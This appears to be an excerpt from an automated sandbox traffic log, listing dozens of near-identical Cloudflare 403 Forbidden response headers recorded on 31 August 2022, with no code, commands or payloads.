Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:08 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:23 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=x7AJbptRz7Cl4F6tCey15K1Tua3OCnGXAE%2B7abKRLyKl2mLDQ8bMzYfOdE1aYkMU0%2FtMBEoep2SGwA1Lyctp0Wl4Vxo0Tszdqwfs3SyMzeK%2BydoFFoMhMU7vXWxMYnGiMA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c51d1e98bbbf-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:08 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:23 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5rGGCE0HS%2BSo1q9OniPLns7bhuMFHbYHU4vrgLbnt0PyixLhuN13tDJKMg4MhE%2F2XXRcvswHtvtbh8Lvx8WZN6J5RSKUJ8MUGVKnvWsN88y4gQsMbbP0%2Bx3TF5x62GC7ew%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c5202eb7901c-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:08 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:23 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=DhUroTVBkq76KRsOudlADMlF%2BeQO3YH7UHdNJsv9dJMtr5FB0S8TZo3oAkUQLmtui9p4iQK18arNv0yJegx6y822uDp9NMnx71MNrtWkzikQpbRRPm47mGN7way%2BPB6zEQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c521ac909280-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:09 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:24 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=fr9gxC1x0%2F0p6z%2F%2FCwp6ybrVj6ByZ2EbybgB8WUIpdJGNDcib%2F18bCIlT73yetwvGtCMYq1KEwqzbhaQRNXKYw6ImKl0R6mQNL7x3ZbWw%2BwvVncaWvq6CCWZqqj%2B%2FYMctg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c5235c497711-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:09 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:24 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=gE9OsTu9%2FzmdeuXJDtFQFxo7P6Ucg6Y6lc9Evir%2Br3%2BdhfQs2OsngG2gng3g0HZcwWtaHeo%2FRITp4EjixusVRjn3Knfy96NkYk0HQUgpVnz2B5oup3kxp7OeYZJ0SE7%2F%2Fw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c526dac9742b-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:09 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:24 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=HD%2BvsvcZFavBWNQPnRF6BR7reaNmB8docb9JcYD7gVP6%2BtLpeAoNFuON0SZK3k8He7DZioKVRBZPzs%2BHdsMMpdpv93IhjENv%2FTjQU7h6DT3Kb2QyhOGBvM04yUD4MhZT%2Bg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c52848408fee-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:10 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:25 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Z54Ces26DgXBJdHaHNw2tc1vmjw2O%2B3p%2BPa7B35J9RwEtRNIaLfjngD9zIfYu1Z07I4txSVI%2BHZp03OqF9MC4wNcy48V3wTen%2Ftn3KtBG74j6onF0XbeZjOyltLXwM3vhw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c52bcef3718d-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:10 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:25 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=fmADXjXNVBdqOeU8L%2FkM%2FKQErS1me9F1Wf5fD6WWO3yHMwz2GWoP7oGh9WXhVGvQxR5ca4CQ%2BUHkygGrmy7XhmNjXOnFLSZ2nTc3f67TSQcVe1b8%2BBWVJXINRS3ZSYN%2BRw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c52d3b6b9274-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:10 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:25 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2BNQiOHMFfZDRbcQtNU3iudRzQ4%2BQ21jHjvE45wAnHA3pEcGKJJWL5cQVCodE5JQu6YXgtmF7TZo07kljciPGPFAUsixHai%2BThpDVt%2B6G2l9Cic%2Bx%2Bu11t67hn73Nj%2BXqYQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c52edcfdbb91-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:12 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:27 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Gewo5R6IUAWyo0fGJUYbzcyHcM4b5sNxV4W%2FmWdg9aYXc2qC4jWYV5kYOR77K2tUheaiPw1B0H4xPNMOHLQyRmwtqusq%2FcLBmegf2kUA0GJYP8L2yHbENa2VVbYnHsPINg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c53ac8a176c0-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:12 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:27 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ujXyiLMlGQ3ZSuz1ftMi1NVczb2F1eN50EGM%2B2WDoei91Fz9x2Ld%2FnL2YhwugTjpQmt5%2FYMuzC9%2BW%2B6ivIpHHAGTN%2FoAV7i9Ia2gJhdvGAZvoUhOnFKX1aeVQRDLxoeJQQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c53c0c5890dc-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:13 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:28 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Qgeo%2Bm3rRP59r2xdUuwOsHdtDPx1Yh4EP%2BKXKLJLP%2BwDkkiwo8dRLwQ%2Fn5HBn1yucD7yGMNfcR3S060XvKua2dpoCGXljS34K4Bh17iTAKHgA3c4%2FQ5TZlQJD1mlA19vPQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c53d8dc4911f-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:13 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:28 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=gvlrxfU4%2F0%2BkMQP%2BDhf8QwI%2FToImF%2FO85EQKS8WPANZrAvc6hZzY2LX7O3j1YCX5NPHVf0J9dI3TnBxYksecGxtgczoBB9Y5zdNNBvUF4r3EzrctLkQ7IViepNMu0%2FTccg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c53fda4872fc-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:13 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:28 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Q9e%2BBTRxXUoxvHcAL8gZ4KeyTt4x4ge6g4EsO%2BgqElsNOU%2FJYtd84wl920oLjNAD6itT6P%2B6LnZU4cBNevFEuUQ1iV8vdMtIyqTm9EraUnqZONgL1mPqZYE81ACS30k7aw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c5410fb3909c-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:16 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:31 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=2oDc6xUASDXSShWGltWrkNZlXX76TImmz6bhAArHqGR0H3pOaba7h9%2FqoPK7VZVZeEAeODF0TEgTXCm1d%2FeB0hM%2Bde5cZOpvqadI8si4RvMAeXJ9c%2FLfTQzFmkVHb3fqHA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c550d8a1892a-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:16 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:31 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=K8%2FHRGKy7Hk8H26e6pBN7PClGM4Pbq2AErh5Jn33CPVAn%2Fj5pfu9mls1zOyFxnra0tfvv8YbZrbnvDBUxfiH%2BMDuGL1xgGAGdOqaGtaXLKNSaHzSZkGmcDxxwEUORtvsYg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c5548f889159-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:17 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:32 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Oyah1RGXFA%2FnTBCeuaM%2BJUmABLC85cL4lZNK5S5o6hiV2yBFRBvg1PoYVDKqAZssRRCZyM0OJKnWntPWh0%2BykHGFR8e1mAcr6SGagp5aRk43FRgjerWFkyxzIVDCKuTdMA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c555fee772ba-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:17 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:32 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=GmFr4GPBeMpAR49rrJK0SxjwQGN3U%2FzGWu0nXRcAHYlB79GWiWW3Kui5Zdfowkm4B0%2BKWzpYtColOfqgxI9V5g8eyDJQVLQ42U2TqWO86kocMTNZ4oWLPUyvMFS%2Fclc1pg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c5599c8371c9-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:17 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:32 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=EJ2oUgjmufhmPEwhNcRusPOSVmYgepwq76NKmjuSV21sNuTr%2Fvt4t98Lrq5mGltppkDhIx4n7Htg2qDFHThTyvojrpym55fBLmaetO3DzOYa8DjHbmK7KVCzNPCo%2B5HHgQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c55b2f5c9a3f-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:19 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:34 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=j6DBG9xH3rvArOE7mx%2FZ6Pxq4p3Mx0rbm1KUjZ2FMaFgmDz%2F%2FMLf4lKGPQAMRPgGH1YUCRuwSUQ8FhJSB0nwmiKD6BE6hQBFoSB%2FFQHepX%2FcCIWUfssXXJjcwhznh%2FaP9A%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c5642f87067e-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:19 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:34 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=H%2BYTyXeEGNAFcjVNYeDFktegykL4sIlVVFJnI1uQPQPPTVmpn2WfqTHcMiwj%2BwHlgH%2Blzkdmac6wfJsuQ8o0KxCP9Qr%2B97gFF3DfJIp8waq4hGX6UsyHzWdc5BwtiH9nEQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c56518c39b74-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:19 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:34 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=XiNMrXrBX8nDb2UWwtpdijrenp%2BiYPE0AO2%2BtBPL6vDY4pTcAmZm9EHU5943r8%2FFH7mE2AjuRs9c8TCO0IXioMAINSMiXnWQ087YKUo8utYVPBm%2BTqf3n67v%2FyhUmNESuQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c56678c50085-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:19 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:34 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=9dWz9GsHNPBzgI4%2BeAkli%2FvfLcaY9IX5bhWVuMAs7nci8xagSTL%2Bem7JlWhCuyFDg7MfxPqpzUvoldXleyTKUv12NysEhpaM8Kz8ptAGB5s%2Fpz%2BXpjgIni33yI5%2BeEcbbg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c567abcdbb8f-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:24 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:39 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=0tlEsVglbvIYtVRmnfuU9rvDHNPe9uiCphmQAtMQ4txBuJXOcnr9xliqGwhc9vBBc85lHCv1aJTMNptnHjc6sea2BVBgI6Zzv0yCMxPrsxDWs8UjDR79x%2BwrRGnV8iUp6w%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c5864c0172ca-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:25 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:40 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=q0rxACkuwY6UYzZ274u0PLdf%2B1G9aQklojEqrIw1BTlP%2FqEmZErsVBu%2B5Ps37A5ug%2FaFZlk4Lj%2BtHMBIxwf9PJCAGsratgE3UBWxDfCwTtoKKeJqGpySi0EcWILBCgBbiw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c588ff5b995d-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:25 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:40 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=i3CBn6Mntw%2F2BJojKVKd4gtjY56Pf0xiHw%2FuU2ws%2FdpBXF5CBGBLTVa014eT5uQlPZH7zcJDS%2BScrtUA%2BVoU4qUW3d55t4Hkv49W05Er57pYT2Dfhn67k1voWnlHJ4Fxpg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c58c095f740f-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:26 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:41 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=q3THyMP2qcNhBlCW56%2BAJU9XQn1cfCmCYwITf8huHnChtBGgZAYD%2FHAFAK6YegR8Zcs0XceIcWYRLgVQdBBE%2F2wLOOtgJPtcgRcehLHSQvENBHNZyOtqhgkwcdZnxDM0iQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c58ecb0f0075-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:26 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:41 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=R7clajHZdAGdZNGuTGZ4gZAEqNGu70UZ8THc2%2F5NiDzkeM%2BnRp2oJJRjUBEmpMADDukuqmC0LiNieSefGxqC5vaGW%2FK%2B9Xk3bRTC3zzcdOXiSTzhvYBkm7D2kvOw1nReuw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c5939a2dbb65-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:27 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:42 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Oe%2BUN9xKsaazBCgWZ2LJzqIYPawr33nmucErGOK6lAU8Z8KZW7EHtdEKqrzxqivHY2g9DyBnhiI8bW5UXLko5dELUmh%2FmaNBC4HSssrt7nX8cYvsj8csAi0LzOK7l7846g%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c59838f89b7a-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:28 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:43 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ZKd0o6wtCGqLlWkwDL6LJ9oozX8o7rcbJLNjY2k0PDnRoBBu59zpiU9MLOnYQVaDsl9hqcekb7pZ1F98x96YUNc4I8n4BByUSiTqgXKVGBBDai4lseYVkpUJjSQbjGArFg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c59c1c5f921f-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:29 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:44 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=KrXzy7e90vFSIqRDONQ7zzEWya2eJyLHQZg%2F6WFQ%2FkFV63SZxCQGT6MsrtdBFTmZ73v8OVfyZR68l9mHE66oRw0E7IfbWwfFF3qPiDNRR%2FwdovLBUZyQrvRUJxXXijsE1g%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c5a13f85bb7f-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 31 Aug 2022 12:29:30 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Wed, 31 Aug 2022 12:29:45 GMTX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=igswAU9x%2BIXfETfHv9sPcfb%2Bj46w5%2Fvym7CD%2FVoT%2BJRucZoZz2NAn4avmcWtlzGi8NGz9ejl2vmiJips8XhOKxN74%2BwS44qHxxDkbuBLwR9XhnZZtO3yT5AIYTV%2FckEdjg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 7435c5a788b60706-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
